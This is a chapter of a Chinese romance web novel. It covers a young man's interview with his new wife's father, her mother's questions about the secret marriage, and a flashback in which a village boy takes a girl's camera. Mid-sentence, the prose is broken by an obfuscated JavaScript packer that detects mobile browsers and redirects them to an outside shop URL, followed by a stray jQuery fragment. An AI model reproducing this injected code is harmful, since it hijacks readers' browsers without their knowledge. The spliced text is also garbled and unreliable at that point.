听周煜提起封尘十年的往事,栗父面色一沉,搭在书房门把手上的手突然调转了方向,“咔哒”一声,将门反了锁。
他又重新坐回了书桌后的转椅上,他重新打量面前这个年轻人,这才从气质截然不同的两张脸上看出一丝客观上的似曾相似。
十年前那个离经叛道的乡野少年仿佛脱胎换骨,一副成功人士的形象坐在他面前,还成了他的女婿——这令人难以置信的后续,叫身为父亲的他神色凝重起来。
他又点燃了一根烟,透过烟雾审视着周煜:“你是说,你喜欢心心十年了?”
栗父以为对方会羞于在长辈面前表达情感,谁知周煜的视线始终没有逃避的痕迹,反而目光坦荡地给了正面答案:“是,我喜欢心心十年了。”
这细微的动静被坐在客厅里的栗心察觉,她知道父亲肯定会盘问周煜到底怎么把自己骗到手的,也实在好奇周煜会怎么回答。
她爸谈了半天才突然锁门,难道是挖出了什么让他不能接受的消息。
周煜总不能对她爸爸实话实说:他俩是天雷勾地火滚出的契约婚姻吧?
里面的情形尚未可知,栗心自己却也要面对来自母亲的压力。
“你和言修什么时候分的手?又是什么时候和这个小子在一起的?还背着我和你爸偷偷领证,栗心,我看你是真出息了!”栗母穷追不舍,眼神里有被女儿蒙在鼓里的怨气,更多的却是对自家女儿的心疼。
闺女之前有多喜欢那个叫言修的演员,这三年来,栗母全看在眼里。
她自己就是搞艺术创作的,最懂情感代入的重要性,也曾旁敲侧击地提醒女儿,娱乐圈三教九流多,言修每天接触形形色色的美女,还要和对方演甜蜜的感情戏,怎么可能没有心动的时刻?
但恋爱脑上头的栗心听不进去,不光情感上投入颇多,甚至还为了两人共同的未来加倍努力奋斗,没日没夜地接活,眼睛都熬红了。
做母亲的看在眼里,疼在心里,却只能默默在背后给她当好坚强的后盾。
可这一次,女儿的选择完全出乎了栗母的预判,不仅和相爱三年的言修果断分手,还立刻掉头和另一个她从未听过名字的男人领了证。
“对不起妈妈,”栗心扑进母亲怀里,开始撒娇,“我不是故意要瞒着你和爸爸的,只是想新感情稳定一点再公开,免得你们担心,但计划赶不上变化嘛,这不是刚领证就把人领回家让你们考察了吗?”
栗母被她的撒娇软化,嘴上却还在置气:“结婚证都领了,我和你爸还考察什么?难不成还盼着你们离婚啊?”
栗心身子陡然一僵,她这才意识到自己一年后是肯定要离婚的,现在说让父母放心的话,以后又要成为打在自己脸上的耳光了。
她只好心虚地嘀咕,给母亲打预防针:“现在的年轻人离婚也很正常,合适就结婚,不合适也不能将就一辈子呀。”
但栗心却不知道,周煜和父亲对话的画风和自己截然不同。
-
“这个臭小子,真是气死我了!”陈爷爷佝偻的腰因为剧烈颤动而显得更弯了,他了解孙子的脾气,只能无可奈何地看着他跑掉,转头窘迫地冲栗家父女拼命道歉,“对不住啊,听村长说,你们明天还要给隔壁的乌海村拍照,等我今晚回家把这个臭小子的腿打断,明天再上乌海村还你们东西。”
说罢,他连连鞠躬,一杆老腰几乎直不起来。
“没事的陈爷爷,那个就是我扔给心心玩的旧相机,不值钱。”栗父摸摸栗心的头,她微微颤抖的身体因为父亲温暖的安抚得到了缓解,“我们先把您的照片拍了。”
今天的公益拍摄结束了,村里的住宿条件不好,今晚他们照例要回镇上的酒店过夜,明天再赶去乌海村。
和陈爷爷挥手告别后,栗心再次坐上父亲的越野车返程,丢了相机,她当着陈爷爷的面没有发作,但只剩和父亲单独相处时,她小嘴一撇,又想哭了。
“爸爸,那才不是什么不值钱的旧相机,那是我这几天收集的满满的回忆,很珍贵的!”后视镜里映着栗心刚哭过、通红的双眼,像只委屈的小兔子。
“心心,没有了照片,你就会忘记这几天跟爸爸来砚山镇发生的一切吗?”栗父没有正面说教,而是积极地引导女儿往好的地方去想。
栗心果然上钩,下压的嘴角渐渐拉平,随着温暖回忆的翻涌又变得上翘:“不会忘的,我记得那个第一次拍照被闪光灯吓了一跳的老奶奶,记得那只乱入镜头拉粑粑的小土狗,还记得……还记得把我的胶卷弄曝光的臭小子!”
那只眼神阴郁的小狗,还不如路边的小土狗可爱!
“心心,相机能记录光影,回忆却只能用心去铭记,胶卷曝光了不能修复,但其实曝光的底片本身也很珍贵,不然明天我们再回来一趟,找陈爷爷问试试?”
“嗯!”栗心眼底染上笑意,因为太热太累,很快就在颠簸的车上睡着了。
再次醒来,车子已经停在了镇上的照相馆。
这是胶片机横行的时代,不同于后来洗胶卷只能在京城、沪市、羊城等一线城市的摄影工作室,就连小镇上随便一家不起眼的照相馆都能提供这样的基础服务。
“心心,你在车上睡一会,我让老板把照片弄好就来。”栗父的公益活动内容不止是拍完就走这么简单。
老人们没有条件来镇上的照相馆,自然也没有洗照片的预算,他还需要亲自跑一趟镇上把拍摄的底片洗出来,统一交给村委会来发放。
“爸爸,我一个人害怕,我想跟你一起。”栗心嘟嘟嘴,栗父就替她把安全带解开,领着她一起走进照相馆里。
镇上的消费水平不高,照相馆只有特定的时间有生意,比如开学前和六一儿童节。
但今天,栗家父女还没进门,就听见照相馆里头传来了争执的声音。
“你说你不会修相机,开照相馆干嘛?”男孩的声音听起来很倔强。
栗心想,这个声音怎么有点耳熟?
“小伙子,你不懂就不要乱说话,我跟你说了三遍了,这个相机它没问题,有问题的是胶卷!胶卷提前曝光了!”是店主的声音。
“那胶卷有问题你就修胶卷啊!我给得起钱!难道你连这个都不会都敢开店?”男孩不依不饶,语气甚至有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13626992|143539||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
些蛮横。
修胶卷?这不是强人所难吗?
等等,该不会是他吧?
栗心对这个男孩的身份有了一个大胆的猜想,她心脏“咚咚”跳个不停,突然甩开了父亲的手往店里跑去。
“滚滚滚,老子真是遇见鬼了,人话都听不懂!”店主的耐心已经到达了极限,挥手赶人。
“不行,你必须给我修好,我今天就要!”男孩拔高音量,声音里却带着一丝委屈。
栗心猛然掀开照相馆门口的暗红色帘子,眼睛一亮,她再次见到陈爷爷的孙子。
果然是这只阴郁小狗!
她再定睛一看,那个男孩手里举着的不就是她的相机吗?
她不知是兴奋还是愤怒,只知道自己即将失而复得,她急忙冲他大喊一声:“还真是你!”
男孩身子一僵,显然也听出了栗心的声音,根本没敢回头看她,拔腿就往照相馆的后门跑。
“你给我回来!”栗心着急地提起裙子就追着出去,不管栗父在身后急切地喊着“心心你去哪儿”。
店主嘟囔:“栗摄,刚才那小子该不会是偷您的相机吧?”
-
男孩长着一双大长腿,腿部的肌肉线条也格外流畅,他跑起来脚步生风,一下就没了影子。
栗心那又细又白的小腿根本不是他的对手!
但她急于拿回属于自己的东西,没有罢休,继续往前跑,不知道追了多远,人没追到,却不小心撞到了一个纹着大花臂的男人。
“对不起!对不起!”栗心不到七十斤的体重,虽然是她撞的人,却被那人健硕的身材反弹,反倒是她摔倒在地,膝盖都被滚烫的水泥地面蹭掉了一块皮,痛得龇牙咧嘴,却还是保持着良好的教养、连连道歉。
“对不起就完了,还要警察干什么?”花臂男毫发未损,却还是凶狠地瞪了栗心一眼,可看清她娇俏的小脸蛋后,却又换了一副嘴脸,他蹲下身,冲她伸出手,“来来来,摔疼了吧?哥哥扶你起来。”
栗心本想说“谢谢”,却在抬头对上一双不怀好意的眼神后,本能地缩回了手,怯怯地婉拒:“不用了叔叔。”
花臂男染着黄毛,皮肤晒得黝黑,和陈爷爷那眉清目秀、一看就是同龄人的孙子不同,看不出年龄。
“叔叔?”花臂男咋舌,他本来说的是方言,却在听见栗心字正腔圆的普通话后,特意改说了夹着方言音的普通话,别扭又好笑,“我才二十多岁,你应该叫我哥哥。”
“不用了哥哥。”栗心乖顺改口,声音甜糯。
她牢记父亲说的,出门在外不要轻易得罪任何人,哪怕是一个看起来没有什么杀伤力的老人,狗急了也是会跳墙的。
“小妹妹真乖,要不要哥哥扶你起来,还是说,你想要哥哥抱你回家啊?”花臂男自信地撩了一下遮住额头的斜刘海,伸出双臂就要来抱栗心。
男人身上劣质的烟草味逐渐靠近,让她作呕。
栗心攥紧拳头,在思考是要打对方的左眼还是右眼时,突然有人凌空飞起一脚,将花臂男踹到了一旁的垃圾桶里。
“回家抱你爹去吧!”